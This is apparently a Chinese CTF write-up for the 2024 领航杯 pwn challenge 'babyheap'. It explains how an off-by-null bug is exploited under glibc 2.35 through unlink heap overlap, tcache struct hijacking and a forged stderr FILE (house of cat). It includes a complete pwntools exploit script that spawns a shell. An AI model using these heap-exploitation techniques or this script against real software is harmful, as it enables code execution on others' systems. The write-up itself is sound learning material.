[2024领航杯] Pwn方向题解 babyheap

前言:

当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。

保护策略:

逆向分析:

功能很齐全啊,该有的都有

add函数最多存在11个堆块,没有大小限制

输入content的时候存在一个off_by_null漏洞

delete就是没有UAF漏洞,show函数是puts打印存在00截断。

edit函数只能用一次

关于泄露地址:

当然存在00截断我们无法直接泄露地址,那么就需要实现unlink来进行堆块重叠,来抵消off_by_null的00截断。

关于2.29之后off_by_null的说明:

当然在之前呢大家也可以看见,我们只需要伪造一个prev size位配合off_by_null即可完成unlink的一系列攻击而且当时只free第一个堆块的话fd和bk指针也不需要伪造了。但是在glibc2.29之后加入了检查,具体是怎么样的呢,它会检查你要释放堆块的prev size和前面堆块的size位大小是不是一样的,不一样的话就会报错,当然想要绕过这个检查就需要修改size位,其实思路的话我们可以申请7个堆块,释放0,3,6堆块,至于为什么这样,因为我们需要修改size位,因为chunk3在中间所以我们比较好修改它的size位,我们释放chunk2,那么chunk2,3合并成了一个大的chunk,然后去申请堆块修改chunk3的size位即可,建议直接修改到top_chunk那里,因为后续要实现unlink的话还是要add堆块的。

那么这里需要有一点点的堆风水,怎么说呢,因为存在off_by_null我们输入数据的时候会留下一个00,我们让chunk3的chunk地址存在到00的位置,那么在进行伪造fd和bk指针的时候就可以通过截断来指向chunk3,怎么做呢,因为chunk2,3合并了,修改chunk3之后留下了一个chunk,这个chunk只有最后一位和chunk3不一样,我们可以通过利用这个堆块和chunk0,6来达到伪造fd和bk的目的,当然chunk0的bk指针比较好伪造,chunk6的fd指针我们输入什么都会修改两位因此我们需要chunk5和chunk6合并来修改chunk6的fd指针使其指向chunk3,最后正常off_by_null即可。

后续的攻击:

当然限制堆地址和libc地址都有了还需要进行劫持相关的操作,因为2.34之后没有相关的_malloc_hook等这些钩子了,所以一开始我的想法是house of kiwi,但是发现这个版本的 _IO_helper_jumps没有可写的权限。

那么只好使用house of apple2 的相关连,house of cat(具体操作我前两篇博客里面有详细内容),但是我这里是直接修改了 stderr结构体,没有直接进行伪造但是我发现一个弊端,这样的话有点极限因为,我们无法修改太多空间如果越界修改了stdout的话会导致程序卡住,所以我在这里卡半天,一直在调试,期间我也发现了,不同版本之间一些利用链的判断条件有所不同需要进行微调。

伪造指针的情况

当然我是用的劫持tcache_ptheread_struct结构体来修改top_chunk和stderr的,因为我感觉largebin attack有点难操作,所以干脆之间修改stderr结构体了。

我是利用_malloc_assert来触发IO的,因为程序正常通过main函数返回所以也可以不用修改top_chunk,但是结构体要微调一些不然就这样了

EXP:

from gt import *

con("amd64")

io = process("./babyheap")
libc = ELF("./libc.so.6")

def add(size,msg):
   io.sendlineafter("> ","1")
   io.sendlineafter("size:",str(size))
   io.sendlineafter("content:",msg)


def free(index):
   io.sendlineafter("> ","2")
   io.sendlineafter("index:",str(index))


def show(index):
   io.sendlineafter("> ","3")
   io.sendlineafter("index:",str(index))


def edit(index,msg):
   io.sendlineafter("> ","4")
   io.sendlineafter("index:",str(index))
   io.sendafter("new content:",msg)


def exit():
   io.sendlineafter("> ","5")


add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7

free(0)
free(3)
free(6)
#gdb.attach(io)
free(2)
#free(5)

#gdb.attach(io)

payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#gdb.attach(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#gdb.attach(io)


free(6)
free(2)
add(0x418,'a'*8)

free(3)
free(5)
#gdb.attach(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')

show(4)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600
stderr = libc_base + 0x21b6a0
show(2)
io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >>  0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)

add(0x200,'a')

add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + libc.sym["system"]
fake_io_addr = stderr

fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0)  + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) +  p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0

#add(0x500,'b'*8)

add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))

io.sendlineafter("> ","1")
#gdb.attach(io)
io.sendlineafter("size:",str(0x500))

#gdb.attach(io)
io.interactive()

最终效果

[2024领航杯] Pwn方向题解 babyheap的更多相关文章

  1. 蓝桥杯练习 Day6 题解

    蓝桥杯练习 Day6 题解 A 题意:给你一个等式ax+by = c,问你x,y是否有整数解. 思路:gcd(a,b) = t,如果方程有解,那么\((a/t)*x + (b/t)*y = c/t\) ...

  2. 网鼎杯 pwn 记录

    题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...

  3. 2019年领航杯 江苏省网络信息安全竞赛 初赛部分writeup

    赛题已上传,下载连接:https://github.com/raddyfiy/2019linghangcup 做出了全部的misc和前三道逆向题,排名第10,暂且贴一下writeup. 关卡一 编码解 ...

  4. 2019全国大学生数学建模竞赛(高教社杯)A题题解

    文件下载:https://www.lanzous.com/i6x5iif 问题一 整体过程: 0x01. 首先,需要确定燃油进入和喷出的间歇性工作过程的时间关系.考虑使用决策变量对一段时间内燃油进入和 ...

  5. ctfshow 1024杯 部分web题解

    ------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...

  6. NCTF2019 小部分题解

    前言 礼拜五领航杯打的比较累,做不出WEB,D3CTF没用,做了NJCTF的一些题目(懒,睡觉到12点起) Misc 第一次比赛先去做misc,以前一直做WEB,以后要WEB+MISC做.礼拜六下午做 ...

  7. CTF:从0到1 -> zero2one

    本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...

  8. UVALive 3959 Rectangular Polygons (排序贪心)

    Rectangular Polygons 题目链接: http://acm.hust.edu.cn/vjudge/contest/129733#problem/G Description In thi ...

  9. TZOJ 2588 Bad Grass(DFS)

    描述 Bessie was munching on tender shoots of grass and, as cows do, contemplating the state of the uni ...

  10. hdu1312Red and Black(迷宫dfs,一遍)

    Red and Black Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Tot ...

随机推荐

  1. 用一杯星巴克的钱,训练自己私有化的ChatGPT

    文章摘要:用一杯星巴克的钱,自己动手2小时的时间,就可以拥有自己训练的开源大模型,并可以根据不同的训练数据方向加强各种不同的技能,医疗.编程.炒股.恋爱,让你的大模型更"懂"你-. ...

  2. AtCoder Beginner Contest 313

    AtCoder Beginner Contest 313 - AtCoder A - To Be Saikyo (atcoder.jp) 从\(a_1 \dots a_{n-1}\)找出最大值与\(a ...

  3. md2pdf

    https://www.pandoc.org/installing.html https://github.com/jgm/pandoc/releases/tag/2.18 https://blog. ...

  4. .net相关知识点总结

    基础知识 [1]静态构造函数(执行一次,调用静态成员或实例化时执行一次) [2]抽象类和接口的区别 1:抽象类有字段,构造函数,非抽象方法(C#新版本接口可以定义方法体),接口没有 2:抽象类不可多继 ...

  5. 关于捣鼓Gentoo的一些见解

    现在很少有人使用gentoo,大家对它的印象都是一个很难用的系统,我想给大家讲讲折腾Gentoo一年的心得,仅供参考 使用archlinux安装盘,genfstab生成fstab 使用gentoo-k ...

  6. tlmgr 操作

    宏包管理 sudo tlmgr install <package> # 安装宏包 sudo tlmgr install scheme-full # 安装全部宏包 sudo tlmgr re ...

  7. Dify大语言模型应用开发平台新手必备:安装注册与私有服务器部署全步骤

    Dify简介 Dify是一个开源的大语言模型(Large Language Model, LLM)应用开发平台.它融合了后端即服务(Backend as a Service, BaaS)和LLMOps ...

  8. c++学习笔记(一):内存分区模型

    目录 内存分区模型 程序运行前 程序运行后 new操作符 内存分区模型 c++在执行时,将内存大方向划分为4个区域 代码区:存放函数体的二进制代码,由操作系统进行管理(编写的所有代码都会存放到该处) ...

  9. Html 使用scss爆红

      使用     <style  lang="less" scoped> </style>   即可      

  10. 呵,老板不过如此,SQL还是得看我

    2018年7月,大三暑假进行时,时间过得飞快,我到这边实习都已经一个月了. 我在没工作之前,我老是觉得生产项目的代码跟我平时自学练的会有很大的区别. 以为生产项目代码啥的都会规范很多,比如在接口上会做 ...